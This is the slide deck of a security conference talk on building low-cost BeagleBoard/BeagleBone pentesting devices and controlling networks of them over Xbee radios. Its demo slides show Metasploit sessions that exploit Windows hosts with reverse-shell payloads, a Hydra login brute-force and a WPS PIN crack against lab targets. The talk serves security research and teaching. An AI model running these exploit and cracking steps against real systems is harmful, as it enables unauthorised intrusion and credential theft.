We are Legion: Pentesting with an Army of Low-power Low-cost Devices

Philip Polstra
Hacker in Residence
University of <Redacted>
@ppolstra
http://polstra.org
What is this talk about?

- Hacking and/or forensics with small, low-power devices
- ARM-based Beagleboard & Beaglebone running full suite of security/forensics tools
- Porting tools to a new platform
- Performing coordinated attacks with networks of devices
Who am I?

- Professor & Hacker in Residence at private Midwestern university
- Programming from age 8
- Hacking hardware from age 12
- Also known to fly and build airplanes
Roadmap

- Choosing a platform
- Selecting a base OS
- Building a base system
- The easy part – leveraging repositories
- The slightly harder part – building tools
- Building your own accessories
- Solo Demonstrations
- Networking with 802.15.4
- Attack Networks
- Future directions
Choosing a Platform

- Small
- Low-power
- Affordable
- Mature
- Networking built in
- Good USB support
- Convenient input and output
And the Winning Platform is...

- **Beagleboard-xM/BeagleBone Black**
  - 3.25” square/ 3.4” x 2.1”
  - <10 Watts
  - Only $149 / $45
  - Based on Cortex A8
  - 512MB RAM
  - 100 Mbps Ethernet built in
  - 4/1 high-speed USB plus USB-on-the-go
  - DVI-D, S-video, and LCD output
  - RS-232, webcam, audio, and microSD
Beagleboard-xM

Laptop-like performance

- Super-scaler ARM® Cortex™-A8
- More than 2,000 Dhrystone MIPS
- Up to 20 Million polygons per second graphics
- HD video capable
- C64x+™ DSP core
- 512 MB LPDDR RAM

Typical PC peripherals via high-speed USB

- LCD Expansion
- I²C, I²S, SPI, MMC/SD Expansion
- DVI-D
- Camera Header
- S-Video
- JTAG
- USB Hosts
- Stereo Out
- Stereo In
- 10/100 Ethernet
- USB 2.0 HS OTG*
- Alternate Power
- RS-232 Serial*
- Micro-SD Slot*

* Supports booting from this peripheral
BeagleBone Black (aka Raspberry Pi killer)
I know at least one of you will ask...

• Why not Raspberry Pi?
  - Not as powerful
  - Doesn't run Ubuntu (ARM6 not supported)
  - Not truly open (Broadcom won't release info)
  - Not as mature
  - Cost savings for full-featured platform are slight
  - Limited availability (especially in USA)
Selecting a Base OS

- **Angstrom comes in the box**
  - Optimized for hardware
  - Nice package management
  - Poor repository support for our purposes

- **Ubuntu is available**
  - Backtrack is based on Ubuntu
  - Ubuntu is very popular
  - Good repository and community support
Building a Base Device

- Upgrade to 16GB microSD (8GB would work, 2GB on BBB way too small)
- Download an image for microSD card
  - Canonical image or
  - Robert C. Nelson demo images
    - I used Nelson's because they are tweaked for Beagleboard and updated frequently
- Good instructions available at http://elinux.org/BeagleBoardUbuntu
The Easy Part – Using Repositories

• Many of the tools we want are available in the standard Ubuntu repositories

• Some are also available as .deb files
  – Packages written in interpreted languages (Java, Python, PERL, Ruby) usually work out of the box
  – C-based packages depend on libraries that may or may not be available/installed
Native or cross-compile?

Native
- Straightforward
- Can be slow on 1GHz ARM with 512 MB RAM

Cross-compile
- A bit more complicated
- Take advantage of multi-core desktop with plenty of RAM
Native Compilation

- “Sudo apt-get install build-essential” is about all you need to be on your way
- Something to keep in mind if you SSH in and use DHCP on BB-xM: Ethernet is via USB chipset and MAC address varies from one boot to next which leads to different address being assigned
Cross-Compile Method 1

- Download a toolchain “
  wget http://angstrom-
  distribution.org/toolchains/angstrom-<ver>-armv7a...”

- Untar toolchain “
  tar -xf angstrom-<ver>-armv7a-linux-gnueabi-
  toolchain.tar.bz2 -C”

- Setup build environment “
  . /usr/local/angstrom/arm/environment-setup”

- Download source

- Configure with “
  ./configure --host=arm-angstrom-linux-gnueabi -
  prefix=/home/...”

- Build with “
  make && sudo make install”

- Copy binaries to BB-xM

- Could have problems if there is a kernel mismatch between setup and what
  is installed to BB-xM
Cross-Compile Method 2

- Install a toolchain as in Method 1
- Install Eclipse
- Install C/C++ Development Tools in Eclipse
- Download software
- Use makefile to create Eclipse project
- Create a Build Configuration in Eclipse
- Compile
- Move binaries to BB-xM
Cross-Compile Method 3

- Same as Method 2, but with the addition of remote debugging
- Has advantage of easy transfer of binaries
- In Eclipse under Mobile Development add
  - C/C++ DSF GDB Debugger Integration
  - C/C++ Remote Launch
  - Remote System Explorer End-User Runtime
  - Remote System Explorer User Actions
- Great tutorial by Jan Axelson at http://lvr.com/eclipse1.htm
Building Your Own Hardware Accessories
Power Your Drones

- Beagles take standard 2.1 x 5.5 mm barrel connector
- Battery voltage above 5V is wasted as heat
- Bare board can run for several days off standard batteries
- LCD touchscreens require lots of power!
- Leaching off of USB power from a target is ideal
- Be careful with WiFi and 802.15.4
  - Set transmit power to minimum
  - Take advantage of sleep modes on 802.15.4 radios
Power Options
802.15.4 Hardware
802.15.4 Hardware
Containers
Containers
Plantables
Plantables
Work in progress

- Socket for Xbee radio
- Network switch for installing inline
- USB hub
- Optional 802.11 wireless
- Optional battery pack
Demo 1 - Hardware
Demo 1 - Hardware
Demo 1 – Our Favorite Exploit
Demo 1 (contd.)

```
root@omap:~/msf
msf exploit(ms08_067_netapi) > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > set rhost 192.168.5.140
rhost => 192.168.5.140
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set lhost 192.168.5.109
lhost => 192.168.5.109
msf exploit(ms08_067_netapi) > set lport 8080
lport => 8080
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.5.109:8080
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn N/A)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.5.140

meterpreter > shell
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32\]
```
Demo 2 – Wifi Cracking

Found 5 processes that could cause trouble:
If these are installing or starting stop working after
a short period of time, you may want to kill (some of) them:

PID     Name
490     awstopdaemon
494     awstopdaemon
558     dhclient3
1750     upk_supplicant
1753     dhclient
Process with PID 1750 (upk_supplicant) is running on interface wlan1
Process with PID 1753 (dhclient3) is running on interface wlan1

<table>
<thead>
<tr>
<th>Interface</th>
<th>Chipset</th>
<th>Driver</th>
</tr>
</thead>
<tbody>
<tr>
<td>wlan1</td>
<td>RTL8187</td>
<td>rtl8187 [phy]</td>
</tr>
</tbody>
</table>

(root@omap:~)

(root@omap:~)

(root@omap:~)

(root@omap:~)
Demo 2 (contd.)

<table>
<thead>
<tr>
<th>SSID</th>
<th>Station</th>
<th>PWR</th>
<th>Rate</th>
<th>Lost Packets</th>
<th>Probes</th>
</tr>
</thead>
<tbody>
<tr>
<td>00:11:00:00:01</td>
<td>00:11:00:00:01</td>
<td>-15</td>
<td>07</td>
<td>1</td>
<td>10</td>
</tr>
<tr>
<td>00:11:00:00:02</td>
<td>00:11:00:00:02</td>
<td>-15</td>
<td>07</td>
<td>1</td>
<td>10</td>
</tr>
<tr>
<td>00:11:00:00:03</td>
<td>00:11:00:00:03</td>
<td>-15</td>
<td>07</td>
<td>1</td>
<td>10</td>
</tr>
<tr>
<td>00:11:00:00:04</td>
<td>00:11:00:00:04</td>
<td>-15</td>
<td>07</td>
<td>1</td>
<td>10</td>
</tr>
</tbody>
</table>
Demo 2 (contd.)
Demo 3 - Password Cracking

root@omap:/pentest/passwords/wordlists# hydra 192.168.1.1 -l "admin" -P john.lst -t 1 -e ns -V -f http-get /cgi-bin/index.html -w 5
Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2012-08-16 10:36:03
[DATA] 1 tasks, 1 servers, 3161 login tries (1:1/p:3161), ~3161 tries per task
[DATA] attacking service http-get on port 80
[ATTEMPT] target 192.168.1.1 - login "admin" - pass "" - child 0 - 1 of 3161
[ATTEMPT] target 192.168.1.1 - login "admin" - pass "admin" - child 0 - 2 of 3161
[ATTEMPT] target 192.168.1.1 - login "admin" - pass "12345" - child 0 - 3 of 3161
[ATTEMPT] target 192.168.1.1 - login "admin" - pass "abc123" - child 0 - 4 of 3161
[ATTEMPT] target 192.168.1.1 - login "admin" - pass "password" - child 0 - 5 of 3161
[80][www] host: 192.168.1.1 login: admin password: password
[STATUS] attack finished for 192.168.1.1 (valid pair found)
Hydra (http://www.thc.org/thc-hydra) finished at 2012-08-16 10:36:05
root@omap:/pentest/passwords/wordlists#
Demo 4 - WPS Cracking

```
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 00085670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 00085670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] 0.17% complete @ 2012-08-16 09:37:03 (5 seconds/pin)
[+] Trying pin 00085670
[+] Sending EAPOL START request
```
Demo 4 (contd.)

```plaintext
[+] Waiting for beacon from 00:22:3F:03:FA:80
[+] Switching mon0 to channel 3
[+] Associated with 00:22:3F:03:FA:80 (ESSID: 44Con)
[+] Trying pin 50325436
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 3 seconds
[+] WPS PIN: '50325436'
[+] WPA PSK: 'password1'
[+] AP SSID: '44Con'
[+] Nothing done, nothing to save.
```

root@omap:~
Demo 5 - Pwn Win7 Like Its a Mac

```
root@omap:~/msf
msf exploit(java_atomicreferencearray) > show options

Module options (exploit/multi/browser/java_atomicreferencearray):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>SRVHOST</td>
<td>0.0.0.0</td>
<td>yes</td>
<td>The local host to listen on. This must be an address on the local machine or 0.0.0.0.</td>
</tr>
<tr>
<td>SRVPORT</td>
<td>8080</td>
<td>yes</td>
<td>The local port to listen on.</td>
</tr>
<tr>
<td>SSL</td>
<td>false</td>
<td>no</td>
<td>Negotiate SSL for incoming connections</td>
</tr>
<tr>
<td>SSLCert</td>
<td>no</td>
<td>no</td>
<td>Path to a custom SSL certificate (default</td>
</tr>
<tr>
<td>SSLVersion</td>
<td>SSL3</td>
<td>no</td>
<td>Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1, TLS1.1, TLS1.2)</td>
</tr>
<tr>
<td>URIPath</td>
<td>/nolocation</td>
<td>no</td>
<td>The URI to use for this exploit (default</td>
</tr>
</tbody>
</table>

Exploit target:

<table>
<thead>
<tr>
<th>Id</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Generic (Java Payload)</td>
</tr>
</tbody>
</table>
```

```
msf exploit(java_atomicreferencearray) > set srvhost 10.100.150.115
srvhost => 10.100.150.115
msf exploit(java_atomicreferencearray) > set srvpport 8000
srvport => 8000
msf exploit(java_atomicreferencearray) > set uripath /nolocation
uripath => /nolocation
msf exploit(java_atomicreferencearray) > set payload
set payload generic/custom
set payload generic/shell_bind_tcp
set payload generic/shell_reverse_tcp
set payload java/meterpreter/bind_tcp
set payload java/meterpreter/reverse_http
set payload java/meterpreter/reverse_https
set payload java/meterpreter/reverse_tcp
set payload java/shell/bind_tcp
set payload java/shell_reverse_tcp
set payload java/shell_reverse_tcp
msf exploit(java_atomicreferencearray) > set payload generic/shell_reverse_tcp
```
Demo 5 (contd.)

Payload options (generic/shell_reverse_tcp):

- **Name**: Current Setting | Required | Description
- LHOST
- LPORT 4444 | yes | The listen address
- yes | The listen port

Exploit target:

- **Id** | **Name**

- Generic (Java Payload)

```
msf exploit(java_atomicreferencearray) > set lhost 10.100.150.115
lhost => 10.100.150.115
msf exploit(java_atomicreferencearray) > exploit
[+] Exploit running as background job.
[+] Started reverse handler on 10.100.150.115:4444
[+] Using URL: http://10.100.150.115:8000/noexploit
[+] Server started.
msf exploit(java_atomicreferencearray) >
[?] 10.100.150.132  java_atomicreferencearray - Sending Java AtomicReferenceArray Type Violation Vulnerability
[?] 10.100.150.132  java_atomicreferencearray - Generated jar to drop (7550 bytes)
[?] 10.100.150.132  java_atomicreferencearray - Sending jar
[?] 10.100.150.132  java_atomicreferencearray - Sending jar

msf exploit(java_atomicreferencearray) > sessions -i 1
[?] Starting interaction with 1...

Microsoft Windows [Version 8.1.7801]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\University of Dubuq\Desktop>
Demo 6 - Clickiddies
802.15.4 Networking

- Basics
- Hardware
- Simple case: 2 Xbee adapters
- Slightly harder case: multiple adapters one at a time
- Hard case: multiple adapters simultaneously
- Really Hard case: true mesh network
802.15.4 Basics

- Typically used in low-power embedded systems
- Regular (100') and Pro (1 mi) versions
- AT and API modes of operation
- Low-speed (250 kbps max)
- Supports multiple network topologies
  - Peer to Peer
  - Star
  - Mesh
Xbee Hardware

- Manufactured by Digi
- Regular and Pro formats are interchangeable and interoperable
- Uses 2 mm pin spacing
  - Most breadboards are 0.1” or 2.54 mm
  - Requires an adapter
- Several antenna options
- Be careful not to use S2 or ZB series which are the same dimensions, but are not compatible
Xbee Adapters

- UART (serial) adapters
  - Can be wired directly to Beagles using 4 wires
  - Don't take up USB ports
Xbee Adapters (contd)

- **USB Adapters**
  - More expensive
  - Helpful for initial setup
  - Easier to setup: just plug it in
Simple Case: 2 Xbee Adapters

- Xbee modules must be configured for desired network topology
- Digi provides X-CTU software for configuration, but it only runs on Windows
- Recently Moltosenso has released Network Manager IRON 1.0 which runs on Linux, Mac, and Windows – free edition is sufficient for our limited usage
Configuring Xbee Modules

- Place Xbee module in USB adapter and connect to PC running X-CTU or IRON
- Select correct USB port and set baud rate (default is 9600)
- From Modem Configuration tab select Read to get current configuration
- Ensure modem is XB24 and Function Set is XBEE 802.15.4
- Set the channel and PAN ID (1337?) noting the settings which must be the same for all modems
- Pick a Destination Low and Destination High address for the other adapter (say 2 and 0)
- Set the My Address to a chosen value (say 01)
- Click Write to stored the new config on the Xbee
- Repeat this process on the second Xbee but reverse the addresses
- The modules should now talk to each other just fine
Wiring the Xbee to Beagles

If you splurged for the USB adapter you can just plug in to a USB port
- BeagleBone has only 1 USB port which you might want for something else
- BeagleBoard has 4 USB ports

• Using the UART interface slightly more complicated
  - Connect 4 wires: 3.3V, Ground, TX, RX
  - Configure the Beagle multiplexer for proper operation
Setting up a UART Interface

- Appropriate pins & modes in Beagle manuals
- **For BeagleBone UART2**
  - 3.3V & Ground P9 pin 3 & 1, respectively
  - TX P9 pin 21 (to Xbee Din)
  - RX P9 pin 22 (to Xbee Dout)
  - Configure BeagleBone (White not black)
    - echo 1 > /sys/kernel/debug/omap_mux/spi0_d0
    - echo 21 > /sys/kernel/debug/omap_mux/spi0_sclk
  - BBB uses new kernel - see my blog for details
  - Test connection by connecting terminal program to /dev/ttyO2 (not a zero)
- **Recommend against using UART on BeagleBoard**
  - 1.8V logic levels requires level shifting
  - Slightly more complicated software configuration
Simple Case: Accessing your single drone

- By default Xbee adapters operate in transparent mode
- Setup TTY on drone and you can login in with terminal program
  - Simple
  - Works with interactive programs
  - If you go out of range you are still connected when you return
Slightly Harder Case: Multiple Drones One at a Time

- Configure drones as with the single drone case but with different MY addresses
- Use terminal program on command console to connect to drones one at a time
- Simple: no programming required
- Must enter AT command mode to switch between drones
  - Enter “+++” (no enter) and wait for OK
  - Enter “ATDL0002 <enter>” to select drone 2
  - Enter “ATWR <enter>” to write to NVRAM
  - Enter “ATCN <enter>” to exit command mode
Trivial example of Two Drones in TTY Mode
Slightly Harder Case: Multiple Drones Simultaneously

- API mode is used vs. AT mode
- Configure Xbee with X-CTU
  - For Series 1 stick with 802.15.4 Function Set
  - For Series 2 (ZB)
    - Drones set to Function Set ZNET 2.5 ROUTER/ENDDEVICE API 1347
    - Controller set to Function Set ZNET 2.5 COORDINATOR API 1147
- Multiple choices for communication
  - Java xbee-api
  - Python-xbee (what I used)
  - Raw commands to TTY device
- Recommended for most situations involving 3 or more devices
Multiple Drone Communications

- Really this is a point-to-multipoint topology
- For each drone communication appears to be simple peer-to-peer
- API mode provides better performance and allows simpler software operation
Multiple Drones Using Python: One Possibility

- Each drone runs a simple Python script which waits for commands and sends announcements
- Controller listens for announcements/responses and sends commands (all activity is logged)
- Upside is that it lends itself easily to scripting
- Downside is that it doesn't support interactive shells (yet)
- Announcements can be sent to controller for important events (such as successful cracking)
- Code is available at http://polstra.org
Trivial Example with Two Drone – API Mode Using Python
Python Mode (continued)

```
/home/phil/bheu13: python

Enter command for 1>3
Drone address set to 3
Enter command for 3>tail /var/log/syslog
QDBusConnection: session D-Bus connection created before QCOREApplication. Application may misbehave.
QDBusConnection: session D-Bus connection created beforeQCOREApplication. Application may misbehave.
Error: "'/var/tmp/kdecache-phil" is owned by uid 1000 instead of uid 0.
Enter command for 3>tail /var/log/syslog
Enter command for 3>nmap 192.168.1.107
Enter command for 3>1
Drone address set to 1
Enter command for 1>nmap 192.168.1.116
Enter command for 1>3
```

```
/home/phil/bheu13: python
(ubuntu) 192.168.1.107
(ubuntu) 192.168.1.116
```
Python Mode (continued)

Command send:nmap 192.168.1.116

Starting Nmap 5.21 ( http://nmap.org ) at 2013-03-09 15:53 CST
Nmap scan report for 192.168.1.116
Host is up (0.00021s latency).
Not shown: 997 closed ports
PORT  STATE  SERVICE
22/tcp  open  ssh
80/tcp  open  http
8888/tcp  open  sun-answerbook
MAC Address: D4:94:A1:38:E0:6A (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
^[n
Python Mode (continued)

```
```

```
pth1 -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime)Mar  9 15:45:55 omap kernel: [ 5039.2 25418] init: tty02 main process (1287) killed by TERM signal
```

```
Command send:w
15:52:07 up 1:30, 2 users, load average: 0.01, 0.03, 0.05
USER   TTY     FROM   LOGIN@   IDLE   JCPU   PCPU   WHAT
ubuntu pts/0 192.168.1.108 14:22 4:09 6.47s 0.13s sshd: ubuntu [p
```

```
Command send:nmap 192.168.1.107
Starting Nmap 5.21 ( http://nmap.org ) at 2013-03-09 15:52 CST
Nmap scan report for 192.168.1.107
Host is up (0.00019s latency).
Not shown: 997 closed ports
PORT       STATE      SERVICE
22/tcp      open       ssh
80/tcp      open       http
8888/tcp    open       sun-answerbook
```

```
/home/phil:tail
```
Harder Case: True Mesh Network

- Only recommended when larger number of drones or when devices are too far apart
- Will negatively impact battery life
- Requires series 2 (aka ZB) Xbee adapters
- No changes to scripts are required
Networked attacks – Simplest Case

- In the simplest case there is only 1 drone
- Networking is peer-to-peer
- Allows hacking from a distance
  - Better WiFi hacking when drone is in building
  - Drone runs 24x7
  - Drone can run for days off battery
  - Important updates such as successfully cracked passwords can be sent to master periodically in case you weren't in range when they happened
  - Drone has full version of The Deck - lots of possibilities
  - Less conspicuous than sitting outside the building
  - If you are lucky you can patch into wired network
  - If you are extra lucky they use Power Over Ethernet!
Networked Attack with Multiple Drones

- One process on master monitors status updates from all drones
- Interactive shell into each drone
  - Multiple subshells can be created
  - Processing continues if master disconnects
- Endless possibilities since each drone has full version of The Deck
- Drone are easily retasked based on objectives achieved by other drones
Future Directions

- Continue to add useful packages as need arises
- Optimize some packages for BB-xM/BBB
- Other output devices
- Exploit USB OTG functionality
- Make The Deck fly (literally) – September 12th
- Hack over the Internet with 802.15.4 gateway
Bibliography

- General BeagleBoard xM/BeagleBone http://beagleboard.org
- Installing Ubuntu on Beagles http://elinux.org/BeagleBoardUbuntu
- Cross-compiling for Beagles by Jan Axelson http://www.lvr.com/eclipse1.htm
- My blog where updates will be posted http://ppolstra.blogspot.com/2012/09/introducing-deck-complete-pentesting.html
- Download link for The Deck (warning 6 GB) http://www.udcis.org/TheDeck/thedeck-v1.0-44con-ed.tar.gz
- General information on Xbee modules from the manufacturer http://digi.com
Questions?
Come see me in Q&A lounge after